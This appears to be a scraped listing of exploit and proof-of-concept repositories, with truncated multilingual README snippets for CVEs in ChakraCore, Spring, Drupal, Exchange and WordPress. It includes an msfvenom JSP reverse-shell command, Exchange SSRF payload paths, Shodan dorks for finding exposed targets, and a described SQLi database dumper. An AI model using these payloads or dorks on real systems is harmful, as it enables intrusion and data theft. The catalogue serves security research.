Chakra-CVE-2019-0567

Chakra-CVE-2019-0567 Ein POC eines Type-Confusion-Bugs im chakracore-Framework, der zur Codeausführung führt. Basierend auf Connor McGars Blog https://connormcgarr.github.io/ HINWEIS: Die Offsets und ROP-Gadgets hängen von der verwendeten Windows-Version ab, daher könnte es bei dir nicht...

spring-core-rce

CVE-2022-22965: Spring-Core-Rce Exploit Caratteristiche: 1. Rilevamento della vulnerabilità non scrive webshell, semplice output di stringhe 2. Nome e percorso personalizzabili per la scrittura del file webshell 3. Non scrive in aggiunta allo stesso file: ogni rilevamento scrive un file webshell...

CVE-2022-22965

Vulnerabilità Spring4Shell - CVE-2022-22965 📕 Introduzione La vulnerabilità spring4shell è stata chiamata così a causa di 2 vulnerabilità trovate e ampiamente sfruttate dagli attaccanti all'inizio del 2022. Una di queste vulnerabilità si trova nel componente del framework chiamato "Spring Cloud...

CVE-2022-22963-PoC

CVE-2022-22963 PoC de RCE Exemplo mínimo para reproduzir a execução remota de código da CVE-2022-22963 em org.springframework.cloud:spring-cloud-function-core. Exploit Execute o servidor root@kitploit: mvn spring-boot:run Faça uma requisição root@kitploit: curl -X POST -H...

Analisi-CVE-2017-5715

Questo repository non contiene un README...

CVE-2026-9082

CVE-2026-9082 / Drupal SA-CORE-2026-004 Proof of Concept Haftungsausschluss: Dieses Proof-of-Concept dient ausschließlich zu Bildungs- und Forschungszwecken. Verwenden Sie diese Software nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben. D...

CVE-2018-7600

POC di CVE-2018-7600 RCE di Drupal CVE-2018-7600 Non dimenticare di inserire il tuo indirizzo nello Script ! Descrizione: Una vulnerabilità di esecuzione remota di codice è presente in più sottosistemi di Drupal 7.x e 8.x. Ciò consente potenzialmente agli aggressori di sfruttare molteplici vettor...

CVE-2025-20260

CVE-2025-20260 EXPLOIT Questo repository contiene sia lo script Python per generare il file PDF dannoso sia un'analisi del core dump...

ble_norton_core

PoC di iniezione di comandi nel servizio BLE del router Norton Core Secure WiFi Router CVE-2018-5234 Per maggiori informazioni leggi l'articolo. Per dimostrare lo sfruttamento, utilizzeremo: Sistema operativo GNU/Linux; adattatore Bluetooth dongle; utilità BlueZ per testare la connessione...

suhosin

Suhosin Suhosin pronunciato 'su-ho-shin' è un sistema di protezione avanzato per installazioni PHP. È stato progettato per proteggere server e utenti da difetti noti e sconosciuti nelle applicazioni PHP e nel core di PHP...

Fast-CVE-2022-22965

靶机 root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest Die Reverse-Shell basiert im Wesentlichen auf MSFvenom root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp Nach der URL-Kodierung der JSP-Datei verwenden Sie root@kitploi...

CVE-2022-41040

CVE-2022-41040 Microsoft Exchange anfällig für Server-Side Request Forgery Payload : /autodiscover/autodiscover.json?@URL/&Email=autodiscover/autodiscover.json%3f@URL /autodiscover/autodiscover.json?@%d.v1.COLLABHERE/&Email=autodiscover/autodiscover.json%3f@%d.v1.COLLABHERE...

CVE-2023-35078

CVE-2023-35078 dork di shodan Puoi usare i seguenti dork di shodan per trovare target pubblici. http.favicon.hash:362091310 http.favicon.hash:545827989 path=/mifs Puoi usare quanto segue per trasformare i dati dell'API di shodan in un formato adatto allo script di verifica: root@kitploit: jq -cr...

drupal-cve-2026-9082-checker

DRUPAL CVE-2026-9082 PRÜFER Drupal CVE-2026-9082 Blind-SQL-Injection-Prüfer Installation root@kitploit: git clone https://github.com/N45HT/drupal-cve-2026-9082-checker.git cd drupal-cve-2026-9082-checker pip install -r requirements.txt Referenzen https://vulners.com/cve/CVE-2026-9082...

CVE-2025-69295

CVE-2025-69295 — Vulnerabilità di Blind SQL Injection in TeconceTheme Coven Core CVE-2025-69295 è una vulnerabilità di SQL Injection che colpisce il componente Coven Core del tema WordPress TeconceTheme Coven Core. La vulnerabilità esiste a causa di una neutralizzazione impropria dell'input forni...

CVE-2025-66516-Writeup-POC

CVE-2025-66516: Kritische XXE-Sicherheitslücke in Apache Tika Zusammenfassung CVE-2025-66516 ist eine kritische XML-External-Entity-XXE-Einschleusungssicherheitslücke in Apache Tika mit einem CVSS-Score von 10,0 maximale Schwere. Die Sicherheitslücke ermöglicht es entfernten Angreifern, beliebige...

cve-2025-5054

CVE-2025-5054 Strumento di Rilevamento della Vulnerabilità Uno strumento Python per verificare se il tuo sistema Ubuntu è vulnerabile a CVE-2025-5054, una race condition in Apport che consente la divulgazione di informazioni locali. Questo strumento esegue una serie di controlli per determinare l...

CVE-2024-34831

CVE-2024-34831 XSS Vulnerability in GibbonEdu Core v26.0.00 leading to Privilege Escalation Gibbon è un fantastico sistema di gestione scolastica open source completo. Molto lavoro è in corso per rinnovare la base di codice piuttosto vecchia. Autore: Christian Bajada 1. Vulnerabilità Il parametro...

CVE-2026-60137

wpsqli - Estrattore SQLi per WordPress CVE-2026-60137 Uno strumento veloce e guidato da menu per l'estrazione di database che sfrutta la vulnerabilità di SQL injection authornotin nel core di WordPress. Questo strumento si concentra esclusivamente sull'enumerazione e sul dump del database,...

CVE-2022-22965

Analisi della CVE 2022-22965Spring4Shell Descrizione della vulnerabilità Spring4Shell è il nome di una CVE presente in Spring Core di Spring Framework. Con un punteggio CVSS 3.x di 9.8, la vulnerabilità è classificata come rischio massimo critical. Questa vulnerabilità consente a un attaccante di...